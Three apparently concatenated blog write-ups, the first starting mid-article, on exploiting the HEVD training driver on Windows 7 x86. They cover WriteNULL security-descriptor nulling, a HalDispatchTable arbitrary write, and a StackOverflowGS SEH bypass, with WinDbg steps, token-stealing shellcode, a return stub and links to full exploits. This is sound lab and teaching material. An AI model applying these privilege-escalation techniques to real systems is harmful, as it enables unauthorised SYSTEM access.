When we do list our windows processes in WinDBG, we can see that every process have the same patterns, only with different values or addresses ranges. In the image above, you can notice a marked address 0x856117c8, this address represents a windows object, and this object have some important properties which defines: process name, permissions, process ID’s, handles, etc. (i’ll not extend this, so let it just as a simple recap).
A interesting thing that we can explore at moment, isn’t any else then nt!_OBJECT_HEADER struct. This struct have literally what tools we need to work and start our attack.
As an image above says, we simply dissect our process utilizing nt!_OBJECT_HEADER struct, which gave us information about what is located in our object. Also it’s important to notice that nt!_OBJECT_HEADER only look for addresses offsets before nt!_EPROCESS, which means that nt!_EPROCESS range, should stay after those offsets.
But what happens to SecurityDescription?
Another interesting thing is that our SecurityDescription (0x856117b0+0x014) is pointing to 0x8c005e1f address, meaning that something is happening here, and this address have some interaction to DACL & Security Description implementations.
Now, let’s have a deep look in this specific address 0x8c005e1f.
Utilizing previous target SecurityDescriptionaddress with WinDBG command !sd, with simple bit calculation, we now are able to understand much better how it’s implementation are configured on Windows Internals. So, those marked value, remember you something? Yes, that’s right, this marks are the users information stored in the process. At image below, we can compare these two DACL information.
As we can compared these two images, we notice that SYSTEM and DAML users, are related to another image about SecurityDescription(Windows Internals). It’s a example (not legit), that how we can compare this two values.
Knowing that, and understanding the concepts that we actually can nullify any address from ring0 (kernel) only as an simple user, let’s try to make SecurityDescription address (0x856117b0+0x014) point to NULL (0x00000000), and see what happens!
Ok! now System.exe (PID:4) process have SecurityDescriptor pointer nullified. Now let’s try to continue our VM snapshot.
Wait, what happened? we closed [System.exe] process manually? and without user permissions for it? using task manager?
Yes! only nt authority/SYSTEM should have permissions to close this process, but how could be possible a simple user BSOD'ed whole system? There’s, the magic behind this exploitation is a well-know exploitation technique which nullify SecurityDescription behaviors from SYSTEM processes, it technique is very used for LPE exploits since it applies no permissions bit for those target processes. In short, from WinDBG we manually nullified the pointer which contains those permissions information in SecurityDescription meaning that anyone now can write/read/execute in this process. =)
But there’s a problem here, we now understand what we need to do in order to elaborate our exploit but i ask you, how we can identify SYSTEM process objects from a simple ring3 (user-land)?
In the image above, since we’re looking those addresses from WinDBG screen ring0 (kernel mode), we clearly see the object there, but also we need to know that those values are not accessible (also unpredictable), to our simple user from ring3 (user-land). The randomization of these addresses are implemented every time since Windows 7 is rebooted (Address Space Layout Randomization or ASLR), these mitigations deny every try to work with static address. Lastly, another important thing is that the randomization by self are unpredictable (in most of my tests), these objects only randomize through 0x85xxxxxx to 0x87xxxxxx, which means i actually don’t know if a bypass of this randomization (from ring3), actually exists.
So, what to do next?
As mentioned before, isn’t possible to exploit from ring3 (user-land) due to a lot of permissions restrictions placed by our target “Operation System (windows 7)so what kind of things can we do to bypass these restrictions? the answer is NtQuerySystemInformation WinAPI call.
NtQuerySystemInformation by design is one of various security flaws that for Microsoft only represents a feature to an user perspective. The biggest problem about it WinAPI call, is that it’s configured by default to accept user calls (from undocumented behaviors), which should be parsed and queried together ring0 (kernel mode) information, as resulting in an leak of SYSTEM addresses/pointers. This WinAPI Call, is a well-know method for memory leaking attacks, since it’s allow an attacker to know exactly what pointers are important, and elaborate a better methodology for explore his target vulnerability (in our case WriteNULL).
But how could it be possible to leak information from ring3?
Before we start to looking deep into vulnerable (features) calls, we should look at first to the definition of handles, and why we need to get focus on it.
according to: https://stackoverflow.com/questions/902967/what-is-a-windows-handle
It’s an abstract reference value to a resource, often memory or an open file, or a pipe.
Properly, in Windows, (and generally in computing) a handle is an abstraction which hides a real memory address from the API user, allowing the system to reorganize physical memory transparently to the program. Resolving a handle into a pointer locks the memory, and releasing the handle invalidates the pointer. In this case think of it as an index into a table of pointers… you use the index for the system API calls, and the system can change the pointer in the table at will.
Alternatively a real pointer may be given as the handle when the API writer intends that the user of the API be insulated from the specifics of what the address returned points to; in this case it must be considered that what the handle points to may change at any time (from API version to version or even from call to call of the API that returns the handle) — the handle should therefore be treated as simply an opaque value meaningful only to the API.
In short, handles have properties to create and configure communications through objects (open files I/O, apis, pipes, etc), on Operation System (OS). These handles are carrying a bunch of information about these objects, one of them are pointers. Basically, handles loads pointers, but do you know the best part of it? is the possibility to leak these pointer from ring3 (user-land), and that’s what we need to deep our look.
Knowing that, NtQuerySystemInformation afford a lot interesting calls, on top of that, we have an undocumented call named SystemExtendedHandleInformation, which supports the follow structs.
These structs, should help us to leak handle pointers, and that’s how the magic starts.
Utilizing the designed flaw calls, let me fuzz some handle data from ring3 (user-mode) perspective and see what happens.
As you can see, from a simple user we actually can leak a lot of pointers and data. The best part of it, is that one of those pointers are correlated to our PROCESS object, did you remember?
This is it, that’s the trick! But there’s a problem. Assuming that many restrictions such as: ASLR, are configured by default, how we knows what addresses, PID’s and Handle values are correct in order to predict that one who contains our PROCESS object pointer?
The answer for this question is: “I don’t know, but there’s a method (really not stealth), which work as well!”. This method was discovered after tests assuming ASLR randomization and what processes (who contains useful pointers), should crash after been nullified through exploitation technique.
After some tests, it was noticed that if we define lsass.exe PID, as the only target to have his handles nullified, the Operation System OS doesn’t crashes (I assume that because lsass.exe isn’t a process that contains so many handles for SYSTEM internals, only to hold permissions and things related on this). After all, with lsass.exe handle pointers nullified, it’s clearly that not only 1 process will have write/read/execute permission, but also a lot. That’s why i don’t recommend this technique for a real world exploitation because isn’t safe (also not stealthy), nullifying handles could make the Operation System crash and reboot.
The things is, once SYSTEM processes do have access permissions for Anyone, the final part should be a Shellcode Injection in a SYSTEM target process, and that’s what we do in winlogon.exe. This process is running with SYSTEM permissions (and now after nullify attack write/read/execute)
So, putting all together, this is how it looks like. =D
After exploit runs, we finally got our nt authority/SYSTEMshell, nothing was crashed and processes work as well without any issues.
The final consideration for this write-up, is that i didn’t found any reliable solution for WriteNULL challenge, only one which uses another driver vulnerability in order to leak pointer address (on references), meaning that this exploit should be the only one existing in internet utilizing this technique (really no one want to do this). =(
So, it was kind fun and hope everyone enjoyed this write-up. =P
Final Exploit link:
https://github.com/w4fz5uck5/3XPL01t5/tree/master/OSEE_Training/HEVD_exploits/windowsx86/%5BHEVD%5D-WriteNULL
References:
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/HackSysExtremeVulnerableDriver.h
https://github.com/daem0nc0re/HEVD-CSharpKernelPwn/blob/master/HEVD_Win7x86/WriteNull/Program.cs http://bprint.rewolf.pl/bprint/?p=1683
https://github.com/ZecOps/CVE-2020–0796-LPE-POC/blob/master/poc.py
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/windows-debugging-and-exploiting-part-4-ntquerysysteminformation/
Introduction
This one is about another HEVD exercise (look here to see the my previous HEVD post); the arbitrary write (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/ArbitraryWrite.c). The main reason I decided to write up my experience with it is the fact that it instantly occurred to me that the official exploitation process, used both in the original PoC as well as described here, leaves the kernel in an unstable state with high probability of crash anytime after the exploit is run. So, this post is more about the exploitation technique, the problem it creates and the solution it asks for, rather than the vulnerability itself. It also occurred to me that doing HEVD exercises fully (like understanding exactly what and how) is quite helpful in improving the general understanding of how the operating system works.
When it comes to stuff like setting up the environment, please refer to my earlier HEVD post. Now let's get started.
The vulnerability
This one is a vanilla write-what-where case - code running in kernel mode performs a write operation of an arbitrary (user-controlled) value into an arbitrary (user-controlled) address. In case of a x86 system (we keep using these for such basic exercises as they are easier while debugger output with 32-bit addresses is more readable), it usually boils down to being able to write an arbitrary 32-bit value into an arbitrary 32-bit address. However, it is also usually possible to trigger the vulnerability more than once (which we will do in this case, by the way, just to fix the state of the kernel after privilege escalation), so virtually we control data blocks of any size, not just four bytes.
First of all, we have the input structure definition at https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/ArbitraryOverwrite.h - it's as simple as it could be, just two pointers:
Then, we have the TriggerArbitraryWrite
function in https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/ArbitraryWrite.c (screenshot below). First, we have a call to ProbeForRead
on the input pointer, to make sure that the structure itself is located in user space (both ProbeForRead
and ProbeForWrite
methods throw an access violation exception if the address provided turns out to belong to the kernel space address range). Then, What
and Where
values held by the structure (note that these are both pointers and there are no additional checks here whether the addresses those pointers contain belong to kernel or user space!) are copied into the local kernel mode function variables:
Then, we have the vulnerable write-what-where:
Now, let's see how this C code actually looks like after it's compiled (disassembly view in windbg):
Exploitation
So, as always, we just want to run our shellcode in kernel mode, whereas the only thing our shellcode does is overwriting the security token of our exploit process with the one of the SYSTEM process (token-stealing shellcode). Again, refer to the previous blog post https://hackingiscool.pl/hevd-stackgs-x86-win7/ to get more details on the shellcode used.
To exploit the arbitrary write-what-where to get our shellcode executed by the kernel, we want to overwrite some pointer, some address residing in the kernel space, that either gets called frequently by other processes (and this is what causes trouble post exploitation if we don't fix it!) or is called by a kernel-mode function that we can call from our exploit process (this is what we will do to get our shellcode executed). In this case we will stick to the HalDispatchTable
method - or to be more precise, HalDispatchTable+0x4
. The method is already described here https://poppopret.blogspot.com/2011/07/windows-kernel-exploitation-basics-part.html (again, I recommend this read), but let's paraphrase it.
First, we use our write-what-where driver vulnerability to overwrite 4 bytes of the the nt!HalDispatchTable
structure (nt!HalDispatchTable
at offset 0x4
, to be exact). This is because the NtQueryIntervalProfile
function - a function that we can call from user mode - results in calling nt!KeQueryIntervalProfile
(which already happens after switching into kernel mode), and that function calls whatever is stored at nt!HalDispatchTable+0x4
:
So, the idea is to first exploit the arbitrary write to overwrite whatever is stored at nt!HalDispatchTable+0x4
with the user-mode address of our shellcode, then call the NtQueryIntervalProfile
only to trick the kernel into executing it via calling HalDisaptchTable+0x4
- and it works like a charm on Windows 7 (kernel mode execution of code located in user mode buffer, as no SMEP in place).
The problem
The problem is that nt!HalDispatchTable
is a global kernel structure, which means that once we tamper it, it will still be there if any other program refers to it (e.g. calls NtQueryIntervalProfile
). And it WILL affect whatever we will be doing enjoying our SYSTEM privileges, because it WILL crash the entire system.
Let's say that the buffer holding our shellcode in our user mode exploit is at 00403040
. If we overwrite the original value of nt!HalDispatchTable+0x4
with it, that shellcode will only be reachable and thus callable if the current process being executed is our exploit. Once the scheduler interrupt switches the current CPU core to another process, in the context of that process the user mode virtual address of 00403040
will either be invalid (won't even fall into any committed/reserved virtual address range within the virtual address space used by that process) or it will be valid as an address, but in reality it will be mapped to a different physical address, which means it will hold something completely different than our shellcode. Remember, each process has its own address space, separate from all other processes, whereas the address space of the kernel is global for the entire system. Therefore every kernel space address makes sense to the entire system (kernel and all processes), whereas our shellcode at 00403040
is only accessible to our exploit process AND the kernel - but only when the process currently being executed is our exploit. The same address referred to from a different process context will be invalid/point at something completely different.
So, after we tamper HalDispatchTable+0x4
by overwriting it with the address of the shellcode residing in the memory of the current process (our exploit) and call NtQueryIntervalProfile
to get the shellcode executed, our process should now have SYSTEM privileges (and so will any child processes it spawns, e.g. a cmd.exe shell).
Therefore, if any other process in the system, after we are done with privilege escalation, calls NtQueryIntervalProfile
, it will as well trick the kernel into trying to execute whatever is located under the 00403040
address. But since the calling process won't have this address in its working set or will have something completely different mapped under it, it will lead to a system crash. Of course this could be tolerated if we performed some sort of persistence immediately upon the elevation of privileges, but either way as attackers we don't want disruptions that would hurt our customer or potentially tip the defenders off. We don't want system crashes.
This is not an imaginary problem. Right after running the initial version of the PoC (which I put together based on the official HEVD PoC), all of the sudden I saw this in windbg:
Obviously whatever was located at 0040305b
at the time ( 000a
- add byte ptr [edx],cl
), was no part of my shellcode. So I did a quick check to see what was the process causing this - by issuing the !vad
command to display the current process VADs (Virtual Address Descriptors), basically the memory map of the current process, including names of the files mapped into the address space as mapped sections - which includes the path to the original EXE file:
One more interesting thing is that - if we look at the stack trace (two screenshots above) - the call of HalDispatchTable+0x4
did not originate from KeQueryIntervalProfile
function, but from nt!EtwAddLogHeader+0x4b
. Which suggests that HalDispatchTable+0x4
is called from more places than just NtQueryIntervalProfile
, adding up to the probability of such a post-exploitation crash being very real.
The solution
So, the obvious solution that comes to mind is restoring the original HalDispatchTable+0x4
value after exploitation. The easiest approach is to simply trigger the vulnerability again, with the same "where" argument ( HalDispatchTable+0x4
) and a different "what" argument (the original value as opposed to the address of our user mode shellcode).
Now, to be able to do this, first we have to know what that original value of nt!HalDispatchTable+0x4
is. We can't try to read it in kernel mode from our shellcode, since we need to overwrite it first in order to get the shellcode execute in the first place. Luckily, I figured out it can be calculated based on information attainable from regular user mode execution (again, keep in mind this is only directly relevant to the old Windows 7 x86 I keep practicing on, I haven't tried this on modern Windows yet, I know that SMEP and probably CFG would be our main challenges here).
First of all, let's see what that original value is before we attempt any overwrite. So, let's view nt!HalDispatchTable
:
The second DWORD in the memory block under nt!HalDispatchTable
contains 82837940
. Which definitely looks like an address in kernel mode. It has to be - after all, it is routinely called from other kernel-mode functions, as code, so it must point at kernel mode code. Once I called it up with dt
command, windbg resolved it to HaliQuerySystemInformation
. Running disassembly view command uu
on it, revealed the full symbol name (hal!HaliQuerySystemInformation
) and showed that in fact there is a function there (just based on the first few assembly lines we can see it is a normal function prologue).
OK, great, so we know that nt!HalDispatchTable+0x4
, the pointer we abuse to turn arbitrary write into a privilege escalation, originally points to a kernel-mode function named hal!HaliQuerySystemInformation
(which means the function is a part of the hal
module).
Let's see more about it:
Oh, so the module name behind this is halacpi.dll. Now we both have the function name and the module name. Based solely on this information, we can attempt to calculate the current address of hal!HaliQuerySystemInformation
dynamically. To do this, we will require the following two values:
NtQuerySystemInformation
from our exploit).HaliQuerySystemInformation
function within the halacpi.dll module itself (we will pre-calculate the offset value and hardcode it into the exploit code - so it will be version-specific). We can calculate this offset in windbg by subtracting the current base address of the halacpi.dll kernel-mode module (e.g. taken from the lmDvmhal
command output) from the absolute address of the hal!HaliQuerySystemInformation
function as resolved by windbg. We can also calculate (confirm) the same offset with static analysis - just load that version of halacpi.dll into Ghidra, download the symbols file, load the symbols file, then find the static address of the function with its address within the binary and subtract the preferred module base address from that address.Below screenshot shows the calculation done in windbg:
Below screenshots show the same process with Ghidra:
Offset calculation based on information from Ghidra: 0x2b940 - 0x10000 = 0x1b940
.
So, during runtime, we need to add 0x1b940
(for this particular version of halacpi.dll - remember, other versions will most likely have different offsets) to the dynamically retrieved load base address of halacpi.dll, which we retrieve by calling NtQuerySystemInformation
and iterating over the buffer it returns (see the PoC code for details). The same function, NtQuerySystemInformation
, is used to calculate the runtime address of the HalDispatchTable
- the "what" in our exploit (as well as the original HEVD PoC code and many other exploits of this sort). In all cases NtQuerySystemInformation
is called to get the current base address of the ntoskrnl.exe
module (the Windows kernel). Then, instead of using a hardcoded (fixed) offset to get HalDispatchTable
, a neat trick with LoadLibraryA
and GetProcAddress
is used to calculate it dynamically during runtime (see the full code for details).
The reason I could not reproduce this fully dynamic approach of calculating the offset from the base (calling LoadLibrary(halacpi.dll)
and then GetProcAddress(HaliQuerySystemInformation)
) to calculate hal!HaliQuerySystemInformation
and used a hardcoded, fixed, manually precalculated 0x1b940
offset instead, is because the HaliQuerySystemInformation
function is not exported by halacpi.dll - whereas GetProcAddress
only works for functions that have their corresponding entries present in the DLL Export Table.
Full PoC
The full PoC I put together can be found here: https://gist.github.com/ewilded/4b9257b552c6c1e2a3af32879f623803.
Introduction
This post is about kernel mode exploitation basics under Windows. It operates on assumptions that the reader is familiar with terms such as process, thread, user and kernel mode and the difference between user and kernel mode virtual address range. One could use this post as an introduction to HEVD.
Even though I came across at least one good write up about Hacksys Extreme Vulnerable Driver StackOverflowGS (https://klue.github.io/blog/2017/09/hevd_stack_gs/, highly recommend it), after reading it I still felt that I did not understand the entire exploitation process (did not notice the link to the source code at the time :D), so I fell back on the PoC provided by HEVD (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c), analyzed it and learned a few things, now I am just sharing my insights and tips.
Setup
There are numerous resources on how to set up Windows kernel debugging and install HEVD (e.g. https://hshrzd.wordpress.com/2017/05/28/starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab/ and https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/).
I personally prefer using my host OS as the debugger and a VirtualBox VM as the debuggee (Windows 7, x86).
To attach to the VM, I run the following command (make sure windbg.exe is in your %PATH%):
windbg -k com:pipe,port=\.\pipe\com_1,resets=0,reconnect
When successfully attaching a debuggee, windbg output will look like this:
I myself have experienced issues when rebooting the debuggee (which happened a lot with all the crashes resulting from my attempts at exploitation) with windbg running; it just didn't want to attach to the named pipe and thus there was no connection between windbg and the debuggee. Also, trying to attach to a VM that was already running didn't work this way either. I figured that for me everything always works as should when I first boot the VM and then, once the OS loading progress bar pops up, I run the command to spawn windbg and make it connect to the named pipe created by VirtualBox.
Also, don't forget to load the symbols, e.g.:
.sympath C:\Users\ewilded\HACKING\VULNDEV\kernel\windows\HEVD\HEVD.1.20\drv\vulnerable\i386;SRVC:\SymbolsServerhttps://msdl.microsoft.com/download/symbols
The vulnerability
StackOverflowGS (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c) is a vanilla stack-based buffer overflow, just like StackOverflow (code here https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStack.c). The only difference is that in this case stack smashing is detected via a stack canary/stack cookie (a good introduction to the subject can be found here).
All HEVD exercises have the same structure and are all called in the same manner.
Whenever a user wants to interact with the module, they send the driver a data structure - IRP (https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets). This data structure is our malicious input vector.
On line 128 of the HackSysExtremeVulnerableDriver.c main driver source file, we can see that IrpDeviceIoCtlHandler function is assigned to IRP_MJ_DEVICE_CONTROL packets:
That function can be found in the same file, starting with line 248:
Depending on the IOCTL code (an unsigned long integer argument, part of the IRP), IrpDeviceIoCtlHandler runs a different function:
Constants like HEVD_IOCTL_BUFFER_OVERFLOW_STACK are numeric variables predefined in HackSysExtremeVulnerableDriver.h.
So each exercise has its corresponding function with "IoctlHandler" suffix in its name (BufferOverflowStackIoctlHandler, BufferOverflowStackGSIoctlHandler and so on). Let's see what this function looks like in our case (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/BufferOverflowStackGS.c):
So there is another function, named TriggerBufferOverflowStackGS, run from BufferOverflowStackGSIoctlHandler. So the function call tree, starting from IrpDeviceIoCtlHandler, is now:
Finally, the function is pretty simple too:
UserBuffer is a pointer to the user mode memory block (valid in the address space of the process that is currently interacting with the driver). Kernel mode code will be reading data from this location.
Size is an integer telling HEVD how many bytes we want it to read from the UserBuffer memory block - and write to kernel memory, starting at KernelBuffer. KernelBuffer is a local variable (defined on line 72 visible in the screenshot above), so it resides on the stack.
Both the UserBuffer pointer and the Size are delivered with the IRP and controlled by the user mode program that created it and triggered an interrupt to communicate with this driver (we'll get to that code too, shortly).
Then we get to the bottom of this:
So basically it's a vanilla stack-based buffer overflow. We can overwrite KernelBuffer with UserBuffer, with Size bytes (we control both UserBuffer and Size).
Let's set up a breakpoint in windbg, at HEVD!TriggerStackOverflowGS:
By listing the breakpoint (bl) we can see the current kernel mode address of the function (87e3f8da), which will vary between platforms and system boots.
View the disassembly of the entire function we can notice two important points in the code:
First is our vulnerable memcpy call, the second is the SEH_epilog4_GS, the function responsible for checking the saved stack canary and preventing from normal returning if the stack was detected to be smashed (if the cookie doesn't match), aimed at preventing exploitation.
Naturally, a breakpoint at 87e3f964 e871c8ffff call HEVD!memcpy (87e3c1da) would be more precise, as we could see directly how the stack buffer looks like before and after memcpy executes. Let's set it:
By listing the existing breakpoints again, we can see that windbg neatly displays both addresses using properly resolved symbols, so our second breakpoint set using the address 87e3f964 got nicely resolved to HEVD!TriggerStackOverflow+0x8a. I personally prefer to save these, so I can use them later when running again, just to remember where the actual breakpoint I am interested in is.
Now, we need to interact with the driver in order to see how the buffer we supply is stored on the stack, what do we overwrite and how error conditions we cause this way will differ depending on the buffer size.
For this purpose, I assembled a simple piece of C code based on other existing HEVD PoCs (I use Dev-C++) https://gist.github.com/ewilded/1d015bd0387ffc6ee1284bcb6bb93616:
Below screenshot demonstrates running it in order to send a 512-byte buffer filled with 'A':
At this point we should hit the first breakpoint. We just let it go (g) and let it hit the second breakpoint (just before memcpy):
Let's see the stack:
Now, let's just step over once (p), so we get to the next instruction after the memcpy call, and examine the stack again:
So we can clearly our 512-byte buffer filled with 'A'. Now, at this point there is no buffer overflow.
Now, the next value on stack, right after that buffer (in this case 070d99de), is the stack cookie.
By the way, this is a good opportunity to notice the call stack (function call tree):
We can see that our saved return address is 87e3f9ca (HEVD!TriggerStackOverflowGS+0x8f)(red). The SEH handler pointer we will overwrite is sitting between the stack cookie and the saved RET (green):
If we let it running further (g), we can see nothing happens and fuzz.exe returns:
Good, as the buffer was 512, there was no overflow, everything returned cleanly.
Now, let's see what happens when we increase the buffer size by just one:
First two breakpoints hit, nothing to see yet:
Now, let's step over (p or F10) and see the stack again. This time we overwrote the stack cookie, by one byte (0d9bb941):
Now, let's let the debuggee go and see what happens (also, note the !analyze -v
link generated in windbg output - click on it/run the command to see more details about the crash):
We end up with a fatal error 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER), which means that the __SEH_epilog4_GS function detected the change in the cookie saved on the stack and triggered a fatal exception.
Just as expected.
It is important to pay close attention to the error code, especially in this case: 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER) looks a lot like 0x0000007f (DOUBLE_TRAP), whereas the second one basically means that some sort of exception was triggered while already executing some exception handler - in other words, it means that after one exception, the code handling the exception encountered another exception. Distinguishing between these two (easy to mix up) is crucial while developing this exploit, as while the first one indicates that the stack cookie was overwritten and that the SEH __SEH_epilog4_GS has executed and detected the tampering to prevent exploitation. On the other hand, 0x0000007f (DOUBLE_TRAP) indicates that we triggered an exception and that afterwards another exception was raised. We can trigger an access violation by providing sufficiently large value of the Size argument in an IRP, causing the kernel-mode memcpy call to either read beyond the page of the user-mode process working set, or write beyond the kernel stack, depending on which happens first).
Exploitation approach
When it comes to stack cookies, there are several bypass scenarios.
The stack cookie could be leaked by exploiting another vulnerability (chaining, just like in one of my previous write ups) and then used in the payload to overwrite the original value of the canary cookie with the original value, making the entire stack-smashing invisible to the stack canary-checking routine called in the function's epilogue.
Another chaining method involves overwriting the process-specific pseudo-random value of the current cookie in the process memory, wherever it is stored (depending on the OS and compiler).
And then finally there is the third exploitation approach, abusing the fact that exception handlers are executed before the stack cookie is checked. Sometimes it is possible to abuse exception handling code - in this case a SEH handler pointer, which is also stored on the stack in a location we can overwrite. The idea is to abuse the memory corruption vulnerability in such a way that we overwrite a pointer to an exception handler and then we trigger an exception within the same function, before the stack checking routine in the function's epilogue is executed. This way we redirect the execution to our payload (our shellcode), which first elevates our privileges (in this case, as it's a local kernel EoP exploit), then returns to the parent function (the function that called the function we are exploiting - the parent in the call stack/call tree), without ever running the stack cookie-checking routine.
Again, please refer to https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf for more details on the general subject of defeating stack cookies under Windows.
HEVD official PoC
The tricky part in this exercise is that we have to do both things with one input (one device interaction, one IRP with a buffer pointer and size, one call of the TriggerStackOverflowGS function); overwrite the pointer to the SEH exception handler AND cause an exception that the handler would be used for.
The only viable option here is to cause the vulnerable memcpy call itself first overwrite the buffer along with the saved stack cookie and the SEH handler pointer AND trigger an access violation exception - either due to exceeding the size of the user mode buffer and reading past the memory page that holds it, or by writing past the stack boundary (whichever happens first). Now, writing down the stack would completely wipe out all the older (parent) stack frames, making it super hard to return from the shellcode in a way that would avoid crashing the system. Thus, having the kernel code read past the user-supplied user mode buffer is a much better option - and I really like the way this has been solved in the original HEVD PoC (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).
The entire payload that is introduced into the kernel buffer (bytes we write to the stack) is 532 bytes long. It's 512 bytes of the original buffer, 4 bytes of the stack cookie, 12 bytes of other 3 DWORDs that we don't care about (in the payload referred to as junk) and then finally 4 bytes of the SEH handler. 512 + 4 + 12 + 4 = 532. This is the exact number of bytes that need to be written to the stack for the SEH handler pointer to be overwritten with a value we control.
Now, in order to trigger an access violation exception in the same operation (memcpy), just after our 532 bytes from our user mode buffer were copied into the kernel mode stack, we want to place our 532-byte payload at the end of a page (the basic memory allocation unit provided by the OS memory manager, 4096 bytes by default). So from our user mode program, we allocate a separate page (4096-byte buffer). Then we put our payload into its tail (last 532 bytes) - so our payload starts on the 3565-th byte and ends on the 4096-th (the last 4 bytes being the pointer to our shellcode).
Finally, to trigger an access violation, we adjust the buffer size parameter sent encapsulated in the IRP, to exceed the size of our payload (so it must be bigger than 532, e.g. 536). This will cause memcpy running in kernel mode to attempt reading four bytes beyond the page our payload is located in. To make sure this causes an access violation, the page must not have an adjacent/neighbor page. So for example, if the virtual address of the user mode page allocated for the buffer with our payload is 0x00004000, with page size being 0x1000 (4096), the valid address range for this page will be 0x00004000 <--> 0x00004fff. Meaning that accessing address 0x00005000 or higher would mean accessing another page starting at 0x00005000 (thus we call it an adjacent/neighbor page). Since we want to achieve an access violation, we need to make sure that no memory is allocated for the current (exploit) process in that range. So we want just one, alone page allocated, reading past which causes an access violation.
There are a few ways to cause such a violation. For example, two adjacent pages can be allocated, then the second one could be freed, then the read operation is triggered on the first one, with the size operand making it read beyond the first page, entering the second one. And this is the method employed by klue's PoC: https://github.com/klue/hevd, with his mmap and munmap wrappers around NtAllocateVirtualMemory and NtFreeVirtualMemory.
Another one is to allocate the page in a way that ensures nothing else is allocated in the adjacent address space, which is what the official HEVD exploit does by using an alternative memory allocation method supported by Windows.
Let's analyze the code (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).
First, we have declarations. hFile is used for opening the driver object (in order to then send the IRP) . PageSize is 0x1000 (4096). MemoryAddress is the pointer to the special page we are going to allocate our stack-smashing payload (528 bytes of junk, 4 bytes overwriting the SEH handler pointer, pointing at our shellcode, located at the page's tail, starting at 3565-th byte). SuitableMemoryForbuffer is the pointer we are going to pass to HEVD as the UserBuffer. It will point at the 3565-th byte of the 4096-byte page allocated at MemoryAddress. EopPayload is another pointer, another location in user mode, containing our shellcode (so the shellcode is in a separate user mode buffer than the special page we are allocating for the stack-smashing payload):
Finally, there is SharedMemory - a handle to the mapped file object we are going to create (as an alternative way of allocating memory). Instead of requesting a new page allocation with VirtualAlloc, an empty, non-persisted memory mapped file is created. Memory-mapped files are basically section objects (described properly in Windows Internals, Part 1, "Shared memory and mapped files" section), a mechanism used by Windows for sharing memory between processes (especially shared libraries loaded from the disk), also please see the official Microsoft manual to find out more about https://docs.microsoft.com/en-us/dotnet/standard/io/memory-mapped-files).
In this case, we are going to request creation of a "mapped-file" object without any file, by providing an INVALID_HANDLE_VALUE as the first argument to CreateFileMappingA - this scenario is mentioned in the manual page of this function (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga):
So it's basically a section ("mapped file") object only backed by the system paging file - in other words, a region in the system paging file that we can map to our process's address space and use just like (almost) a regular page:
Now, we map that region to our address space:
Now, we're setting the SuitableMemoryForBuffer pointer at 3565-th byte of the SharedMemoryAddress region (this is where we will locate our 532-byte payload that will be then copied by the driver to a buffer on its stack):
And we will the entire region with 'A':
Then eventually, the payload is finished by setting its last 4 bytes to contain the user mode address of the shellcode (these bytes will overwrite the SEH handler). This is done in a bit indirect way, as first the pointer (MemoryAddress) is set at offset 0x204 (516) - right past the xored stack cookie - and overwrites 3 of the following junk pointers, only to eventually set the new value for the SE handler:
It seems that simply setting the MemoryAddress to point at SuitableMemoryForBuffer + 0x210 directly (to point it at the location that will overwrite the SE handler pointer) would do the trick as well - other locations on the stack would be overwritten with meaningless 'A's anyway:
Then finally, we trigger the creation of our IRP and send it to the driver along with pointers to the UserBuffer (SuitableMemoryForBuffer - 3656-th byte of the 4096-byte region) and the Size argument; SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE. SeHandlerOverwriteOffset is just the size of our payload (532). Then, a constant RAISE_EXCEPTION_IN_KERNEL_MODE is added to the size - it's just a numeric constant of 0x4 - and it's only to make the size argument exceed 4096 when added to the 3656-th byte being provided as the beginning of the buffer to read from:
Shellcode
Our shellcode being a separate buffer in user mode, which will get executed by kernel mode HEVD code, instead of the legitimate exception handler - on modern kernels this would not get executed due to SMEP, but we're doing the very basics here.
First of all, let me recommend ShellNoob. It's a neat tool I always use whenever I want to:
In this case we will use a slightly modified version of the publicly available, common Windows7 token-stealing payload (https://github.com/hasherezade/wke_exercises/blob/master/stackoverflow_expl/payload.h):
After converting the shellcode to ascii-hex and pasting it to shellnoob input (opcode_to_asm), this is what we get:
Our shellcode, executing in kernel mode, finds the SYSTEM process and then copies its access token over the token of the exploit process. This way the exploit process becomes NT AUTHORITY/SYSTEM. Have a look into https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c to see descriptions of all individual assembly instructions in this payload. Pay attention to the fact that while shellnoob output presents assembly in AT&T syntax, Payloads.c contain assembly in Intel syntax (this is why it's worth to know both, http://staffwww.fullcoll.edu/aclifton/courses/cs241/syntax.html).
This shellcode, however, requires one more adjustment.
Clean return
Now, the problem is, if we simply use this shellcode to exploit this particular vulnerability, the kernel will crash right after modifying relevant access token. The reason for this is the return process and messed up stack. The problem - and the solution - are already well described at https://klue.github.io/blog/2017/09/hevd_stack_gs/. I myself had to get my head around the process my own way to fully understand it and confirm (instead of just blindly running it and trusting it would work), that in fact the return stub provided by klue is going the correct one:
mov 0x78c(%esp), %edi
mov 0x790(%esp), %esi
mov 0x794(%esp), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8
So, the following return stub
had to be replaced. Again, I used shellnoob to obtain the opcodes:
